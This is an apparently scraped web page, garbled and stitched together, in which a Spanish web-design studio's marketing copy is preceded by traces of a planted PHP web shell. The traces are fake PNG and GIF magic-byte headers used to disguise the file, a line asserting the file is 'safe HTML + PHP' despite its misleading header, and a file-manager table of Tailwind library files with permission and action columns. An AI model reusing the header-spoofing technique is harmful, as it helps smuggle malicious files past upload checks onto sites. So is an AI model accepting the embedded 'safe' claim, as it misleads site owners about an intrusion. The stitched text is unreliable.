$假PNG头 = "\x89PNG\r\n\x1a\n"; "\头"\头"\头"\头"\头"\头 $假PNG头 = "\x89PNG\r\n\x1a\n "\头"\头 $假PNG头 = "\x89PNG\r\n\x1a\n"; GIF89a
Today's date is: 2026-02-12
This file starts with a GIF header, so some tools might classify it incorrectly, but the contents are safe HTML + PHP.

| Name | Size | Perm | Action |
|---|---|---|---|
| 📄 cacheInvalidation.js | 3030 bytes | ||
| 📄 collapseAdjacentRules.js | 2152 bytes | ||
| 📄 collapseDuplicateDeclarations.js | 3595 bytes | ||
| 📄 content.js | 6537 bytes | ||
| 📄 defaultExtractor.js | 9457 bytes | ||
| 📄 detectNesting.js | 1682 bytes | ||
| 📄 evaluateTailwindFunctions.js | 9429 bytes | ||
| 📄 expandApplyAtRules.js | 22410 bytes | ||
| 📄 expandTailwindAtRules.js | 12420 bytes | ||
| 📄 findAtConfigPath.js | 1988 bytes | ||
| 📄 generateRules.js | 38215 bytes | ||
| 📄 getModuleDependencies.js | 2923 bytes | ||
| 📄 load-config.js | 1394 bytes | ||
| 📄 normalizeTailwindDirectives.js | 3640 bytes | ||
| 📄 offsets.js | 10933 bytes | ||
| 📄 partitionApplyAtRules.js | 1474 bytes | ||
| 📄 regex.js | 1933 bytes | ||
| 📄 remap-bitfield.js | 2792 bytes | ||
| 📄 resolveDefaultsAtRules.js | 6507 bytes | ||
| 📄 setupContextUtils.js | 57729 bytes | ||
| 📄 setupTrackingContext.js | 8143 bytes | ||
| 📄 sharedState.js | 2507 bytes | ||
| 📄 substituteScreenAtRules.js | 1063 bytes |
Sitios web para empresas o negocios de cualquier tamaño y presupuesto.
Aplicaciones web para empresas o negocios que necesitan automatizar parte de sus procesos o hacer una transformación digital total.
Creación de imagen corporativa para tu empresa o negocio. Naming, logotipos, papelería.
Somos un estudio de desarrollo de sitios web e imagen corporativa. Desarrollamos sitios y aplicaciones web personalizados para diferentes tipos de personas y negocios. Queremos que tu presencia en internet se note, por eso desarrollamos usando sólidas tecnologías y elegimos las tendencias que mejor se ajusten a tus necesidades.
Entendemos que cada persona y negocio son únicos y tienen
necesidades diferentes.
Está bien, desarrollamos tu sitio web estático y lo dejamos listo para que lo sigas ampliando en el futuro.
No hay problema, te entregamos un CMS para que tú decidas qué y cuándo publicas.
Lo tenemos cubierto. Desarrollamos tu aplicación web hecha a la medida de las políticas de tu negocio.